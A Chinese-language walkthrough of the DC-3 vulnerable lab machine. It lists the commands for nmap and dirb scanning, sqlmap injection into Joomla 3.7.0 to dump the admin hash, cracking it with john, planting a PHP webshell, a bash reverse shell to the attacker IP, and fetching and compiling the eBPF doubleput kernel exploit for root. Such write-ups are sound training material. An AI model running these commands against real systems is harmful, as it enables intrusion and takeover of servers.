靶机下载地址:https://www.five86.com/dc-3.html
攻击机为kali2021,IP地址:192.168.172.131
将靶机导入到VMware,设置网络模式为NAT模式,开启靶机虚拟机
在kali攻击机使用nmap进行存活主机发现来获取靶机IP地址,命令nmap -T4 -Pn 192.168.172.1/24
但是发现没有扫描到靶机IP,可能是靶机网络设置问题,参考文章:https://editor.csdn.net/md/?articleId=121324686设置靶机网络,然后重启靶机
再次进行扫描,扫描到了
使用命令nmap -T4 -A -p- 192.168.172.143
扫描靶机的操作系统,开放端口和对应服务等
只开放了80端口对应的http服务,直接在kali机的浏览器地址栏输入http://192.168.172.143
进行访问
有个登录框和一些提示,提示只有一个flag,只有一个入口点,需要获得跟权限,也就是root用户权限
通过nmap扫描,再使用dirb http://192.168.172.143
扫描后台目录,发现一个/administrator/index.php,
打开http://192.168.172.143/administrator/index.php
页面,发现是一个Joomla的CMS管理系统登录页面
Joomla是一套全球知名的内容管理系统,Joomla是使用PHP语言加上MySQL数据库所开发的软件系统,最新版本是3.9.27 [2] 。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。
因此我么可以使用joomscan工具进行扫描,得到Joomla的版本为3.7.0
在kali机搜索对应的攻击脚本,命令searchsploit joomla 3.7.0
,发现Joomla3.7.0的cms系统有一个SQL注入漏洞
查看42033.txt文档,得到具体的利用方法
根据文档说明,使用命令sqlmap -u "http://192.168.172.143/index.php?option=com_fields&view=fields&layout=model&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
顺利得到5个数据库名
Joomla CMS默认的数据库为joomladb,所以我们就直接跑这个数据库下的表,使用命令sqlmap -u "http://192.168.172.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables
,
跑出joomladb数据库中的所有表
找到名为users的表,其中保存了用户名和密码信息
使用命令sqlmap -u http://192.168.172.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbms mysql -D joomladb -T '# __users' --columns
爆列
得到表users的列
获取到用户表的字段,接下来获取数据,使用命令sqlmap -u http://192.168.172.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
获取数据
获取到账户名和密码
账户:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
但是密码是加密的,所以需要进行解密,创建一个pa.txt文件,将密码保存到文件中
使用john进行解密,命令john pa.txt
,获取到密码为snoopy
然后去到Joomla后台登录系统去登录
账户:admin,密码:snoopy
登录成功
在后台多浏览一下
发现Templates模块下有php文件,这个地方可以写入木马
点击【New File】新建一个php文件
先点击html才能在html目录下创建木马文件,因为这样能比较好地知道木马文件的路径,以便蚁剑的连接,在这里输入文件名,选择文件类型为php,点击【create】
创建好文件之后输入木马内容,点击左上角的【Save】保存即可
根据页面信息获得木马文件目录是http://192.168.172.143/templates/beez3/html/shell1.php
打开蚁剑进行连接,木马地址http://192.168.172.143/templates/beez3/html/shell1.php
,连接成功
现需要反弹一下shell,在卡里中执行nc -lvvp 1234
在蚁剑中打开终端执行命令bash -c 'bash -i >& /dev/tcp/192.168.172.131/1234 0>&1'
,可连接成功
连接成功,拿到shell
执行sudo -l但是没有权限
然后使用命令uname -a
查看操作系统版本
其实在开启靶机的界面这里也能看到
得到靶机服务的基本信息:操作系统为ubuntu16.04,所以我们查看一下是否有漏洞,在kali中搜索攻击脚本,使用命令searchsploit Ubuntu 16.04
,这里可以看到有很多可利用的漏洞,我们就选择39772.txt
使用命令cat /usr/share/exploitdb/exploits/linux/local/39972.txt
查看用法
这里提示要去github下载一个exp,使用命令wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
下载
这里下载不了,换种方式,先将39772.zip下载到kali机,然后将下载好的文件复制或者移动到Apache服务的根目录/var/www/html
下,否则在靶机不能下载
然后在kali机使用python开启简单的http服务器,用于将攻击脚本下载到靶机,命令python -m SimpleHTTPServer 9999
或者直接开启kali的apache服务就可以在靶机下载文件了,开启Apache服务的命令service apache2 start
,这两种方式均可
现在在反弹shell处使用命令wget http://192.168.172.131:9999/39772.zip
将攻击脚本文件压缩包下载到靶机目录下
下载成功,现在解压攻击脚本,命令unzip 39772.zip
,解压之后可以看到两个压缩文件,exploit.tar和crasher.tar
进入39772目录下,解压攻击脚本的压缩包exploit.tar,解压命令tar -xvf exploit.tar
进入到解压后的/ebpf_doubleput_exploit目录
先使用命令./compile.sh
执行文件compile.sh将攻击diamante编译成可执行文件,中间出现的warning不用管,再执行生成的可执行文件doubleput即可实现提权,稍等一会就提权成功了
现在已经是root权限了,直接跳转的/root目录下,然后就可以看到flag文件内容了
参考文章:http://cn-sec.com/archives/246299.html